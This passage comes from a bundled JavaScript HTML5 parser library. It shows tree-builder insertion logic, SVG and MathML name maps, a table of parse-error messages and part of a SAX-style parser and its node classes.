this.tokenizer.setState(Tokenizer.SCRIPT_DATA); break; case 'noscript': if (this.scriptingEnabled) this.tokenizer.setState(Tokenizer.RAWTEXT); break; case 'plaintext': this.tokenizer.setState(Tokenizer.PLAINTEXT); break; } this.insertHtmlElement(); this.resetInsertionMode(); } else { this.setInsertionMode('initial'); } }; TreeBuilder.prototype.processToken = function(token) { this.selfClosingFlagAcknowledged = false; var currentNode = this.openElements.top || null; var insertionMode; if (!currentNode || !currentNode.isForeign() || (currentNode.isMathMLTextIntegrationPoint() && ((token.type == 'StartTag' && !(token.name in {mglyph:0, malignmark:0})) || (token.type === 'Characters')) ) || (currentNode.namespaceURI == "http://www.w3.org/1998/Math/MathML" && currentNode.localName == 'annotation-xml' && token.type == 'StartTag' && token.name == 'svg' ) || (currentNode.isHtmlIntegrationPoint() && token.type in {StartTag:0, Characters:0} ) || token.type == 'EOF' ) { insertionMode = this.insertionMode; } else { insertionMode = this.insertionModes.inForeignContent; } switch(token.type) { case 'Characters': var buffer = new CharacterBuffer(token.data); insertionMode.processCharacters(buffer); break; case 'Comment': insertionMode.processComment(token.data); break; case 'StartTag': insertionMode.processStartTag(token.name, token.data, token.selfClosing); break; case 'EndTag': insertionMode.processEndTag(token.name); break; case 'Doctype': insertionMode.processDoctype(token.name, token.publicId, token.systemId, token.forceQuirks); break; case 'EOF': insertionMode.processEOF(); break; } }; TreeBuilder.prototype.isCdataSectionAllowed = function() { return this.openElements.length > 0 && this.currentStackItem().isForeign(); }; TreeBuilder.prototype.isSelfClosingFlagAcknowledged = function() { return this.selfClosingFlagAcknowledged; }; TreeBuilder.prototype.createElement = function(namespaceURI, localName, attributes) { throw new Error("Not implemented"); }; TreeBuilder.prototype.attachNode = function(child, parent) { throw new Error("Not implemented"); }; TreeBuilder.prototype.attachNodeToFosterParent = function(child, table, stackParent) { throw new Error("Not implemented"); }; TreeBuilder.prototype.detachFromParent = function(node) { throw new Error("Not implemented"); }; TreeBuilder.prototype.addAttributesToElement = function(element, attributes) { throw new Error("Not implemented"); }; TreeBuilder.prototype.insertHtmlElement = function(attributes) { var root = this.createElement("http://www.w3.org/1999/xhtml", 'html', attributes); this.attachNode(root, this.document); this.openElements.pushHtmlElement(new StackItem("http://www.w3.org/1999/xhtml", 'html', attributes, root)); return root; }; TreeBuilder.prototype.insertHeadElement = function(attributes) { var element = this.createElement("http://www.w3.org/1999/xhtml", "head", attributes); this.head = new StackItem("http://www.w3.org/1999/xhtml", "head", attributes, element); this.attachNode(element, this.openElements.top.node); this.openElements.pushHeadElement(this.head); return element; }; TreeBuilder.prototype.insertBodyElement = function(attributes) { var element = this.createElement("http://www.w3.org/1999/xhtml", "body", attributes); this.attachNode(element, this.openElements.top.node); this.openElements.pushBodyElement(new StackItem("http://www.w3.org/1999/xhtml", "body", attributes, element)); return element; }; TreeBuilder.prototype.insertIntoFosterParent = function(node) { var tableIndex = this.openElements.findIndex('table'); var tableElement = this.openElements.item(tableIndex).node; if (tableIndex === 0) return this.attachNode(node, tableElement); this.attachNodeToFosterParent(node, tableElement, this.openElements.item(tableIndex - 1).node); }; TreeBuilder.prototype.insertElement = function(name, attributes, namespaceURI, selfClosing) { if (!namespaceURI) namespaceURI = "http://www.w3.org/1999/xhtml"; var element = this.createElement(namespaceURI, name, attributes); if (this.shouldFosterParent()) this.insertIntoFosterParent(element); else this.attachNode(element, this.openElements.top.node); if (!selfClosing) this.openElements.push(new StackItem(namespaceURI, name, attributes, element)); }; TreeBuilder.prototype.insertFormattingElement = function(name, attributes) { this.insertElement(name, attributes, "http://www.w3.org/1999/xhtml"); this.appendElementToActiveFormattingElements(this.currentStackItem()); }; TreeBuilder.prototype.insertSelfClosingElement = function(name, attributes) { this.selfClosingFlagAcknowledged = true; this.insertElement(name, attributes, "http://www.w3.org/1999/xhtml", true); }; TreeBuilder.prototype.insertForeignElement = function(name, attributes, namespaceURI, selfClosing) { if (selfClosing) this.selfClosingFlagAcknowledged = true; this.insertElement(name, attributes, namespaceURI, selfClosing); }; TreeBuilder.prototype.insertComment = function(data, parent) { throw new Error("Not implemented"); }; TreeBuilder.prototype.insertDoctype = function(name, publicId, systemId) { throw new Error("Not implemented"); }; TreeBuilder.prototype.insertText = function(data) { throw new Error("Not implemented"); }; TreeBuilder.prototype.currentStackItem = function() { return this.openElements.top; }; TreeBuilder.prototype.popElement = function() { return this.openElements.pop(); }; TreeBuilder.prototype.shouldFosterParent = function() { return this.redirectAttachToFosterParent && this.currentStackItem().isFosterParenting(); }; TreeBuilder.prototype.generateImpliedEndTags = function(exclude) { var name = this.openElements.top.localName; if (['dd', 'dt', 'li', 'option', 'optgroup', 'p', 'rp', 'rt'].indexOf(name) != -1 && name != exclude) { this.popElement(); this.generateImpliedEndTags(exclude); } }; TreeBuilder.prototype.reconstructActiveFormattingElements = function() { if (this.activeFormattingElements.length === 0) return; var i = this.activeFormattingElements.length - 1; var entry = this.activeFormattingElements[i]; if (entry == Marker || this.openElements.contains(entry)) return; while (entry != Marker && !this.openElements.contains(entry)) { i -= 1; entry = this.activeFormattingElements[i]; if (!entry) break; } while (true) { i += 1; entry = this.activeFormattingElements[i]; this.insertElement(entry.localName, entry.attributes); var element = this.currentStackItem(); this.activeFormattingElements[i] = element; if (element == this.activeFormattingElements[this.activeFormattingElements.length -1]) break; } }; TreeBuilder.prototype.ensureNoahsArkCondition = function(item) { var kNoahsArkCapacity = 3; if (this.activeFormattingElements.length < kNoahsArkCapacity) return; var candidates = []; var newItemAttributeCount = item.attributes.length; for (var i = this.activeFormattingElements.length - 1; i >= 0; i--) { var candidate = this.activeFormattingElements[i]; if (candidate === Marker) break; if (item.localName !== candidate.localName || item.namespaceURI !== candidate.namespaceURI) continue; if (candidate.attributes.length != newItemAttributeCount) continue; candidates.push(candidate); } if (candidates.length < kNoahsArkCapacity) return; var remainingCandidates = []; var attributes = item.attributes; for (var i = 0; i < attributes.length; i++) { var attribute = attributes[i]; for (var j = 0; j < candidates.length; j++) { var candidate = candidates[j]; var candidateAttribute = getAttribute(candidate, attribute.nodeName); if (candidateAttribute && candidateAttribute.nodeValue === attribute.nodeValue) remainingCandidates.push(candidate); } if (remainingCandidates.length < kNoahsArkCapacity) return; candidates = remainingCandidates; remainingCandidates = []; } for (var i = kNoahsArkCapacity - 1; i < candidates.length; i++) this.removeElementFromActiveFormattingElements(candidates[i]); }; TreeBuilder.prototype.appendElementToActiveFormattingElements = function(item) { this.ensureNoahsArkCondition(item); this.activeFormattingElements.push(item); }; TreeBuilder.prototype.removeElementFromActiveFormattingElements = function(item) { var index = this.activeFormattingElements.indexOf(item); if (index >= 0) this.activeFormattingElements.splice(index, 1); }; TreeBuilder.prototype.elementInActiveFormattingElements = function(name) { var els = this.activeFormattingElements; for (var i = els.length - 1; i >= 0; i--) { if (els[i] == Marker) break; if (els[i].localName == name) return els[i]; } return false; }; TreeBuilder.prototype.clearActiveFormattingElements = function() { while (!(this.activeFormattingElements.length === 0 || this.activeFormattingElements.pop() == Marker)); }; TreeBuilder.prototype.reparentChildren = function(oldParent, newParent) { throw new Error("Not implemented"); }; TreeBuilder.prototype.setFragmentContext = function(context) { this.context = context; }; TreeBuilder.prototype.parseError = function(code, args) { if (!this.errorHandler) return; var message = formatMessage(messages[code], args); this.errorHandler.error(message, this.tokenizer._inputStream.location(), code); }; TreeBuilder.prototype.resetInsertionMode = function() { var last = false; var node = null; for (var i = this.openElements.length - 1; i >= 0; i--) { node = this.openElements.item(i); if (i === 0) { assert.ok(this.context); last = true; node = new StackItem("http://www.w3.org/1999/xhtml", this.context, [], null); } if (node.namespaceURI === "http://www.w3.org/1999/xhtml") { if (node.localName === 'select') return this.setInsertionMode('inSelect'); if (node.localName === 'td' || node.localName === 'th') return this.setInsertionMode('inCell'); if (node.localName === 'tr') return this.setInsertionMode('inRow'); if (node.localName === 'tbody' || node.localName === 'thead' || node.localName === 'tfoot') return this.setInsertionMode('inTableBody'); if (node.localName === 'caption') return this.setInsertionMode('inCaption'); if (node.localName === 'colgroup') return this.setInsertionMode('inColumnGroup'); if (node.localName === 'table') return this.setInsertionMode('inTable'); if (node.localName === 'head' && !last) return this.setInsertionMode('inHead'); if (node.localName === 'body') return this.setInsertionMode('inBody'); if (node.localName === 'frameset') return this.setInsertionMode('inFrameset'); if (node.localName === 'html') if (!this.openElements.headElement) return this.setInsertionMode('beforeHead'); else return this.setInsertionMode('afterHead'); } if (last) return this.setInsertionMode('inBody'); } }; TreeBuilder.prototype.processGenericRCDATAStartTag = function(name, attributes) { this.insertElement(name, attributes); this.tokenizer.setState(Tokenizer.RCDATA); this.originalInsertionMode = this.insertionModeName; this.setInsertionMode('text'); }; TreeBuilder.prototype.processGenericRawTextStartTag = function(name, attributes) { this.insertElement(name, attributes); this.tokenizer.setState(Tokenizer.RAWTEXT); this.originalInsertionMode = this.insertionModeName; this.setInsertionMode('text'); }; TreeBuilder.prototype.adjustMathMLAttributes = function(attributes) { attributes.forEach(function(a) { a.namespaceURI = "http://www.w3.org/1998/Math/MathML"; if (constants.MATHMLAttributeMap[a.nodeName]) a.nodeName = constants.MATHMLAttributeMap[a.nodeName]; }); return attributes; }; TreeBuilder.prototype.adjustSVGTagNameCase = function(name) { return constants.SVGTagMap[name] || name; }; TreeBuilder.prototype.adjustSVGAttributes = function(attributes) { attributes.forEach(function(a) { a.namespaceURI = "http://www.w3.org/2000/svg"; if (constants.SVGAttributeMap[a.nodeName]) a.nodeName = constants.SVGAttributeMap[a.nodeName]; }); return attributes; }; TreeBuilder.prototype.adjustForeignAttributes = function(attributes) { for (var i = 0; i < attributes.length; i++) { var attribute = attributes[i]; var adjusted = constants.ForeignAttributeMap[attribute.nodeName]; if (adjusted) { attribute.nodeName = adjusted.localName; attribute.prefix = adjusted.prefix; attribute.namespaceURI = adjusted.namespaceURI; } } return attributes; }; function formatMessage(format, args) { return format.replace(new RegExp('{[0-9a-z-]+}', 'gi'), function(match) { return args[match.slice(1, -1)] || match; }); } exports.TreeBuilder = TreeBuilder; }, {"./ElementStack":1,"./StackItem":4,"./Tokenizer":5,"./constants":7,"./messages.json":8,"assert":13,"events":16}], 7:[function(_dereq_,module,exports){ exports.SVGTagMap = { "altglyph": "altGlyph", "altglyphdef": "altGlyphDef", "altglyphitem": "altGlyphItem", "animatecolor": "animateColor", "animatemotion": "animateMotion", "animatetransform": "animateTransform", "clippath": "clipPath", "feblend": "feBlend", "fecolormatrix": "feColorMatrix", "fecomponenttransfer": "feComponentTransfer", "fecomposite": "feComposite", "feconvolvematrix": "feConvolveMatrix", "fediffuselighting": "feDiffuseLighting", "fedisplacementmap": "feDisplacementMap", "fedistantlight": "feDistantLight", "feflood": "feFlood", "fefunca": "feFuncA", "fefuncb": "feFuncB", "fefuncg": "feFuncG", "fefuncr": "feFuncR", "fegaussianblur": "feGaussianBlur", "feimage": "feImage", "femerge": "feMerge", "femergenode": "feMergeNode", "femorphology": "feMorphology", "feoffset": "feOffset", "fepointlight": "fePointLight", "fespecularlighting": "feSpecularLighting", "fespotlight": "feSpotLight", "fetile": "feTile", "feturbulence": "feTurbulence", "foreignobject": "foreignObject", "glyphref": "glyphRef", "lineargradient": "linearGradient", "radialgradient": "radialGradient", "textpath": "textPath" }; exports.MATHMLAttributeMap = { definitionurl: 'definitionURL' }; exports.SVGAttributeMap = { attributename: 'attributeName', attributetype: 'attributeType', basefrequency: 'baseFrequency', baseprofile: 'baseProfile', calcmode: 'calcMode', clippathunits: 'clipPathUnits', contentscripttype: 'contentScriptType', contentstyletype: 'contentStyleType', diffuseconstant: 'diffuseConstant', edgemode: 'edgeMode', externalresourcesrequired: 'externalResourcesRequired', filterres: 'filterRes', filterunits: 'filterUnits', glyphref: 'glyphRef', gradienttransform: 'gradientTransform', gradientunits: 'gradientUnits', kernelmatrix: 'kernelMatrix', kernelunitlength: 'kernelUnitLength', keypoints: 'keyPoints', keysplines: 'keySplines', keytimes: 'keyTimes', lengthadjust: 'lengthAdjust', limitingconeangle: 'limitingConeAngle', markerheight: 'markerHeight', markerunits: 'markerUnits', markerwidth: 'markerWidth', maskcontentunits: 'maskContentUnits', maskunits: 'maskUnits', numoctaves: 'numOctaves', pathlength: 'pathLength', patterncontentunits: 'patternContentUnits', patterntransform: 'patternTransform', patternunits: 'patternUnits', pointsatx: 'pointsAtX', pointsaty: 'pointsAtY', pointsatz: 'pointsAtZ', preservealpha: 'preserveAlpha', preserveaspectratio: 'preserveAspectRatio', primitiveunits: 'primitiveUnits', refx: 'refX', refy: 'refY', repeatcount: 'repeatCount', repeatdur: 'repeatDur', requiredextensions: 'requiredExtensions', requiredfeatures: 'requiredFeatures', specularconstant: 'specularConstant', specularexponent: 'specularExponent', spreadmethod: 'spreadMethod', startoffset: 'startOffset', stddeviation: 'stdDeviation', stitchtiles: 'stitchTiles', surfacescale: 'surfaceScale', systemlanguage: 'systemLanguage', tablevalues: 'tableValues', targetx: 'targetX', targety: 'targetY', textlength: 'textLength', viewbox: 'viewBox', viewtarget: 'viewTarget', xchannelselector: 'xChannelSelector', ychannelselector: 'yChannelSelector', zoomandpan: 'zoomAndPan' }; exports.ForeignAttributeMap = { "xlink:actuate": {prefix: "xlink", localName: "actuate", namespaceURI: "http://www.w3.org/1999/xlink"}, "xlink:arcrole": {prefix: "xlink", localName: "arcrole", namespaceURI: "http://www.w3.org/1999/xlink"}, "xlink:href": {prefix: "xlink", localName: "href", namespaceURI: "http://www.w3.org/1999/xlink"}, "xlink:role": {prefix: "xlink", localName: "role", namespaceURI: "http://www.w3.org/1999/xlink"}, "xlink:show": {prefix: "xlink", localName: "show", namespaceURI: "http://www.w3.org/1999/xlink"}, "xlink:title": {prefix: "xlink", localName: "title", namespaceURI: "http://www.w3.org/1999/xlink"}, "xlink:type": {prefix: "xlink", localName: "title", namespaceURI: "http://www.w3.org/1999/xlink"}, "xml:base": {prefix: "xml", localName: "base", namespaceURI: "http://www.w3.org/XML/1998/namespace"}, "xml:lang": {prefix: "xml", localName: "lang", namespaceURI: "http://www.w3.org/XML/1998/namespace"}, "xml:space": {prefix: "xml", localName: "space", namespaceURI: "http://www.w3.org/XML/1998/namespace"}, "xmlns": {prefix: null, localName: "xmlns", namespaceURI: "http://www.w3.org/2000/xmlns/"}, "xmlns:xlink": {prefix: "xmlns", localName: "xlink", namespaceURI: "http://www.w3.org/2000/xmlns/"}, }; }, {}], 8:[function(_dereq_,module,exports){ module.exports={ "null-character": "Null character in input stream, replaced with U+FFFD.", "invalid-codepoint": "Invalid codepoint in stream", "incorrectly-placed-solidus": "Solidus (/) incorrectly placed in tag.", "incorrect-cr-newline-entity": "Incorrect CR newline entity, replaced with LF.", "illegal-windows-1252-entity": "Entity used with illegal number (windows-1252 reference).", "cant-convert-numeric-entity": "Numeric entity couldn't be converted to character (codepoint U+{charAsInt}).", "invalid-numeric-entity-replaced": "Numeric entity represents an illegal codepoint. Expanded to the C1 controls range.", "numeric-entity-without-semicolon": "Numeric entity didn't end with ';'.", "expected-numeric-entity-but-got-eof": "Numeric entity expected. Got end of file instead.", "expected-numeric-entity": "Numeric entity expected but none found.", "named-entity-without-semicolon": "Named entity didn't end with ';'.", "expected-named-entity": "Named entity expected. Got none.", "attributes-in-end-tag": "End tag contains unexpected attributes.", "self-closing-flag-on-end-tag": "End tag contains unexpected self-closing flag.", "bare-less-than-sign-at-eof": "End of file after <.", "expected-tag-name-but-got-right-bracket": "Expected tag name. Got '>' instead.", "expected-tag-name-but-got-question-mark": "Expected tag name. Got '?' instead. (HTML doesn't support processing instructions.)", "expected-tag-name": "Expected tag name. Got something else instead.", "expected-closing-tag-but-got-right-bracket": "Expected closing tag. Got '>' instead. Ignoring ''.", "expected-closing-tag-but-got-eof": "Expected closing tag. Unexpected end of file.", "expected-closing-tag-but-got-char": "Expected closing tag. Unexpected character '{data}' found.", "eof-in-tag-name": "Unexpected end of file in the tag name.", "expected-attribute-name-but-got-eof": "Unexpected end of file. Expected attribute name instead.", "eof-in-attribute-name": "Unexpected end of file in attribute name.", "invalid-character-in-attribute-name": "Invalid character in attribute name.", "duplicate-attribute": "Dropped duplicate attribute '{name}' on tag.", "expected-end-of-tag-but-got-eof": "Unexpected end of file. Expected = or end of tag.", "expected-attribute-value-but-got-eof": "Unexpected end of file. Expected attribute value.", "expected-attribute-value-but-got-right-bracket": "Expected attribute value. Got '>' instead.", "unexpected-character-in-unquoted-attribute-value": "Unexpected character in unquoted attribute", "invalid-character-after-attribute-name": "Unexpected character after attribute name.", "unexpected-character-after-attribute-value": "Unexpected character after attribute value.", "eof-in-attribute-value-double-quote": "Unexpected end of file in attribute value (\").", "eof-in-attribute-value-single-quote": "Unexpected end of file in attribute value (').", "eof-in-attribute-value-no-quotes": "Unexpected end of file in attribute value.", "eof-after-attribute-value": "Unexpected end of file after attribute value.", "unexpected-eof-after-solidus-in-tag": "Unexpected end of file in tag. Expected >.", "unexpected-character-after-solidus-in-tag": "Unexpected character after / in tag. Expected >.", "expected-dashes-or-doctype": "Expected '--' or 'DOCTYPE'. Not found.", "unexpected-bang-after-double-dash-in-comment": "Unexpected ! after -- in comment.", "incorrect-comment": "Incorrect comment.", "eof-in-comment": "Unexpected end of file in comment.", "eof-in-comment-end-dash": "Unexpected end of file in comment (-).", "unexpected-dash-after-double-dash-in-comment": "Unexpected '-' after '--' found in comment.", "eof-in-comment-double-dash": "Unexpected end of file in comment (--).", "eof-in-comment-end-bang-state": "Unexpected end of file in comment.", "unexpected-char-in-comment": "Unexpected character in comment found.", "need-space-after-doctype": "No space after literal string 'DOCTYPE'.", "expected-doctype-name-but-got-right-bracket": "Unexpected > character. Expected DOCTYPE name.", "expected-doctype-name-but-got-eof": "Unexpected end of file. Expected DOCTYPE name.", "eof-in-doctype-name": "Unexpected end of file in DOCTYPE name.", "eof-in-doctype": "Unexpected end of file in DOCTYPE.", "expected-space-or-right-bracket-in-doctype": "Expected space or '>'. Got '{data}'.", "unexpected-end-of-doctype": "Unexpected end of DOCTYPE.", "unexpected-char-in-doctype": "Unexpected character in DOCTYPE.", "eof-in-bogus-doctype": "Unexpected end of file in bogus doctype.", "eof-in-innerhtml": "Unexpected EOF in inner html mode.", "unexpected-doctype": "Unexpected DOCTYPE. Ignored.", "non-html-root": "html needs to be the first start tag.", "expected-doctype-but-got-eof": "Unexpected End of file. Expected DOCTYPE.", "unknown-doctype": "Erroneous DOCTYPE. Expected .", "quirky-doctype": "Quirky doctype. Expected .", "almost-standards-doctype": "Almost standards mode doctype. Expected .", "obsolete-doctype": "Obsolete doctype. Expected .", "expected-doctype-but-got-chars": "Non-space characters found without seeing a doctype first. Expected e.g. .", "expected-doctype-but-got-start-tag": "Start tag seen without seeing a doctype first. Expected e.g. .", "expected-doctype-but-got-end-tag": "End tag seen without seeing a doctype first. Expected e.g. .", "end-tag-after-implied-root": "Unexpected end tag ({name}) after the (implied) root element.", "expected-named-closing-tag-but-got-eof": "Unexpected end of file. Expected end tag ({name}).", "two-heads-are-not-better-than-one": "Unexpected start tag head in existing head. Ignored.", "unexpected-end-tag": "Unexpected end tag ({name}). Ignored.", "unexpected-implied-end-tag": "End tag {name} implied, but there were open elements.", "unexpected-start-tag-out-of-my-head": "Unexpected start tag ({name}) that can be in head. Moved.", "unexpected-start-tag": "Unexpected start tag ({name}).", "missing-end-tag": "Missing end tag ({name}).", "missing-end-tags": "Missing end tags ({name}).", "unexpected-start-tag-implies-end-tag": "Unexpected start tag ({startName}) implies end tag ({endName}).", "unexpected-start-tag-treated-as": "Unexpected start tag ({originalName}). Treated as {newName}.", "deprecated-tag": "Unexpected start tag {name}. Don't use it!", "unexpected-start-tag-ignored": "Unexpected start tag {name}. Ignored.", "expected-one-end-tag-but-got-another": "Unexpected end tag ({gotName}). Missing end tag ({expectedName}).", "end-tag-too-early": "End tag ({name}) seen too early. Expected other end tag.", "end-tag-too-early-named": "Unexpected end tag ({gotName}). Expected end tag ({expectedName}.", "end-tag-too-early-ignored": "End tag ({name}) seen too early. Ignored.", "adoption-agency-1.1": "End tag ({name}) violates step 1, paragraph 1 of the adoption agency algorithm.", "adoption-agency-1.2": "End tag ({name}) violates step 1, paragraph 2 of the adoption agency algorithm.", "adoption-agency-1.3": "End tag ({name}) violates step 1, paragraph 3 of the adoption agency algorithm.", "adoption-agency-4.4": "End tag ({name}) violates step 4, paragraph 4 of the adoption agency algorithm.", "unexpected-end-tag-treated-as": "Unexpected end tag ({originalName}). Treated as {newName}.", "no-end-tag": "This element ({name}) has no end tag.", "unexpected-implied-end-tag-in-table": "Unexpected implied end tag ({name}) in the table phase.", "unexpected-implied-end-tag-in-table-body": "Unexpected implied end tag ({name}) in the table body phase.", "unexpected-char-implies-table-voodoo": "Unexpected non-space characters in table context caused voodoo mode.", "unexpected-hidden-input-in-table": "Unexpected input with type hidden in table context.", "unexpected-form-in-table": "Unexpected form in table context.", "unexpected-start-tag-implies-table-voodoo": "Unexpected start tag ({name}) in table context caused voodoo mode.", "unexpected-end-tag-implies-table-voodoo": "Unexpected end tag ({name}) in table context caused voodoo mode.", "unexpected-cell-in-table-body": "Unexpected table cell start tag ({name}) in the table body phase.", "unexpected-cell-end-tag": "Got table cell end tag ({name}) while required end tags are missing.", "unexpected-end-tag-in-table-body": "Unexpected end tag ({name}) in the table body phase. Ignored.", "unexpected-implied-end-tag-in-table-row": "Unexpected implied end tag ({name}) in the table row phase.", "unexpected-end-tag-in-table-row": "Unexpected end tag ({name}) in the table row phase. Ignored.", "unexpected-select-in-select": "Unexpected select start tag in the select phase treated as select end tag.", "unexpected-input-in-select": "Unexpected input start tag in the select phase.", "unexpected-start-tag-in-select": "Unexpected start tag token ({name}) in the select phase. Ignored.", "unexpected-end-tag-in-select": "Unexpected end tag ({name}) in the select phase. Ignored.", "unexpected-table-element-start-tag-in-select-in-table": "Unexpected table element start tag ({name}) in the select in table phase.", "unexpected-table-element-end-tag-in-select-in-table": "Unexpected table element end tag ({name}) in the select in table phase.", "unexpected-char-after-body": "Unexpected non-space characters in the after body phase.", "unexpected-start-tag-after-body": "Unexpected start tag token ({name}) in the after body phase.", "unexpected-end-tag-after-body": "Unexpected end tag token ({name}) in the after body phase.", "unexpected-char-in-frameset": "Unepxected characters in the frameset phase. Characters ignored.", "unexpected-start-tag-in-frameset": "Unexpected start tag token ({name}) in the frameset phase. Ignored.", "unexpected-frameset-in-frameset-innerhtml": "Unexpected end tag token (frameset in the frameset phase (innerHTML).", "unexpected-end-tag-in-frameset": "Unexpected end tag token ({name}) in the frameset phase. Ignored.", "unexpected-char-after-frameset": "Unexpected non-space characters in the after frameset phase. Ignored.", "unexpected-start-tag-after-frameset": "Unexpected start tag ({name}) in the after frameset phase. Ignored.", "unexpected-end-tag-after-frameset": "Unexpected end tag ({name}) in the after frameset phase. Ignored.", "expected-eof-but-got-char": "Unexpected non-space characters. Expected end of file.", "expected-eof-but-got-start-tag": "Unexpected start tag ({name}). Expected end of file.", "expected-eof-but-got-end-tag": "Unexpected end tag ({name}). Expected end of file.", "unexpected-end-table-in-caption": "Unexpected end table tag in caption. Generates implied end caption.", "end-html-in-innerhtml": "Unexpected html end tag in inner html mode.", "eof-in-table": "Unexpected end of file. Expected table content.", "eof-in-script": "Unexpected end of file. Expected script content.", "non-void-element-with-trailing-solidus": "Trailing solidus not allowed on element {name}.", "unexpected-html-element-in-foreign-content": "HTML start tag \"{name}\" in a foreign namespace context.", "unexpected-start-tag-in-table": "Unexpected {name}. Expected table content." } }, {}], 9:[function(_dereq_,module,exports){ var SAXTreeBuilder = _dereq_('./SAXTreeBuilder').SAXTreeBuilder; var Tokenizer = _dereq_('../Tokenizer').Tokenizer; var TreeParser = _dereq_('./TreeParser').TreeParser; function SAXParser() { this.contentHandler = null; this._errorHandler = null; this._treeBuilder = new SAXTreeBuilder(); this._tokenizer = new Tokenizer(this._treeBuilder); this._scriptingEnabled = false; } SAXParser.prototype.parse = function(source) { this._tokenizer.tokenize(source); var document = this._treeBuilder.document; if (document) { new TreeParser(this.contentHandler).parse(document); } }; SAXParser.prototype.parseFragment = function(source, context) { this._treeBuilder.setFragmentContext(context); this._tokenizer.tokenize(source); var fragment = this._treeBuilder.getFragment(); if (fragment) { new TreeParser(this.contentHandler).parse(fragment); } }; Object.defineProperty(SAXParser.prototype, 'scriptingEnabled', { get: function() { return this._scriptingEnabled; }, set: function(value) { this._scriptingEnabled = value; this._treeBuilder.scriptingEnabled = value; } }); Object.defineProperty(SAXParser.prototype, 'errorHandler', { get: function() { return this._errorHandler; }, set: function(value) { this._errorHandler = value; this._treeBuilder.errorHandler = value; } }); exports.SAXParser = SAXParser; }, {"../Tokenizer":5,"./SAXTreeBuilder":10,"./TreeParser":11}], 10:[function(_dereq_,module,exports){ var util = _dereq_('util'); var TreeBuilder = _dereq_('../TreeBuilder').TreeBuilder; function SAXTreeBuilder() { TreeBuilder.call(this); } util.inherits(SAXTreeBuilder, TreeBuilder); SAXTreeBuilder.prototype.start = function(tokenizer) { this.document = new Document(this.tokenizer); }; SAXTreeBuilder.prototype.end = function() { this.document.endLocator = this.tokenizer; }; SAXTreeBuilder.prototype.insertDoctype = function(name, publicId, systemId) { var doctype = new DTD(this.tokenizer, name, publicId, systemId); doctype.endLocator = this.tokenizer; this.document.appendChild(doctype); }; SAXTreeBuilder.prototype.createElement = function(namespaceURI, localName, attributes) { var element = new Element(this.tokenizer, namespaceURI, localName, localName, attributes || []); return element; }; SAXTreeBuilder.prototype.insertComment = function(data, parent) { if (!parent) parent = this.currentStackItem(); var comment = new Comment(this.tokenizer, data); parent.appendChild(comment); }; SAXTreeBuilder.prototype.appendCharacters = function(parent, data) { var text = new Characters(this.tokenizer, data); parent.appendChild(text); }; SAXTreeBuilder.prototype.insertText = function(data) { if (this.redirectAttachToFosterParent && this.openElements.top.isFosterParenting()) { var tableIndex = this.openElements.findIndex('table'); var tableItem = this.openElements.item(tableIndex); var table = tableItem.node; if (tableIndex === 0) { return this.appendCharacters(table, data); } var text = new Characters(this.tokenizer, data); var parent = table.parentNode; if (parent) { parent.insertBetween(text, table.previousSibling, table); return; } var stackParent = this.openElements.item(tableIndex - 1).node; stackParent.appendChild(text); return; } this.appendCharacters(this.currentStackItem().node, data); }; SAXTreeBuilder.prototype.attachNode = function(node, parent) { parent.appendChild(node); }; SAXTreeBuilder.prototype.attachNodeToFosterParent = function(child, table, stackParent) { var parent = table.parentNode; if (parent) parent.insertBetween(child, table.previousSibling, table); else stackParent.appendChild(child); }; SAXTreeBuilder.prototype.detachFromParent = function(element) { element.detach(); }; SAXTreeBuilder.prototype.reparentChildren = function(oldParent, newParent) { newParent.appendChildren(oldParent.firstChild); }; SAXTreeBuilder.prototype.getFragment = function() { var fragment = new DocumentFragment(); this.reparentChildren(this.openElements.rootNode, fragment); return fragment; }; function getAttribute(node, name) { for (var i = 0; i < node.attributes.length; i++) { var attribute = node.attributes[i]; if (attribute.nodeName === name) return attribute.nodeValue; } } SAXTreeBuilder.prototype.addAttributesToElement = function(element, attributes) { for (var i = 0; i < attributes.length; i++) { var attribute = attributes[i]; if (!getAttribute(element, attribute.nodeName)) element.attributes.push(attribute); } }; var NodeType = { CDATA: 1, CHARACTERS: 2, COMMENT: 3, DOCUMENT: 4, DOCUMENT_FRAGMENT: 5, DTD: 6, ELEMENT: 7, ENTITY: 8, IGNORABLE_WHITESPACE: 9, PROCESSING_INSTRUCTION: 10, SKIPPED_ENTITY: 11 }; function Node(locator) { if (!locator) { this.columnNumber = -1; this.lineNumber = -1; } else { this.columnNumber = locator.columnNumber; this.lineNumber = locator.lineNumber; } this.parentNode = null; this.nextSibling = null; this.firstChild = null; } Node.prototype.visit = function(treeParser) { throw new Error("Not Implemented"); }; Node.prototype.revisit = function(treeParser) { return; }; Node.prototype.detach = function() { if (this.parentNode !== null) { this.parentNode.removeChild(this); this.parentNode = null; } }; Object.defineProperty(Node.prototype, 'previousSibling', { get: function() { var prev = null; var next = this.parentNode.firstChild; for(;;) { if (this == next) { return prev; } prev = next; next = next.nextSibling; } } }); function ParentNode(locator) { Node.call(this, locator); this.lastChild = null; this._endLocator = null; } ParentNode.prototype = Object.create(Node.prototype); ParentNode.prototype.insertBefore = function(child, sibling) { if (!sibling) { return this.appendChild(child); } child.detach(); child.parentNode = this; if (this.firstChild == sibling) { child.nextSibling = sibling; this.firstChild = child; } else { var prev = this.firstChild; var next = this.firstChild.nextSibling; while (next != sibling) { prev = next; next = next.nextSibling; } prev.nextSibling = child; child.nextSibling = next; } return child; }; ParentNode.prototype.insertBetween = function(child, prev, next) { if (!next) { return this.appendChild(child); } child.detach(); child.parentNode = this; child.nextSibling = next; if (!prev) { firstChild = child; } else { prev.nextSibling = child; } return child; }; ParentNode.prototype.appendChild = function(child) { child.detach(); child.parentNode = this; if (!this.firstChild) { this.firstChild = child; } else { this.lastChild.nextSibling = child; } this.lastChild = child; return child; }; ParentNode.prototype.appendChildren = function(parent) { var child = parent.firstChild; if (!child) { return; } var another = parent; if (!this.firstChild) { this.firstChild = child; } else { this.lastChild.nextSibling = child; } this.lastChild = another.lastChild; do { child.parentNode = this; } while ((child = child.nextSibling)); another.firstChild = null; another.lastChild = null; }; ParentNode.prototype.removeChild = function(node) { if (this.firstChild == node) { this.firstChild = node.nextSibling; if (this.lastChild == node) { this.lastChild = null; } } else { var prev = this.firstChild; var next = this.firstChild.nextSibling; while (next != node) { prev = next; next = next.nextSibling; } prev.nextSibling = node.nextSibling; if (this.lastChild == node) { this.lastChild = prev; } } node.parentNode = null; return node; }; Object.defineProperty(ParentNode.prototype, 'endLocator', { get: function() { return this._endLocator; }, set: function(endLocator) { this._endLocator = { lineNumber: endLocator.lineNumber, columnNumber: endLocator.columnNumber }; } }); function Document (locator) { ParentNode.call(this, 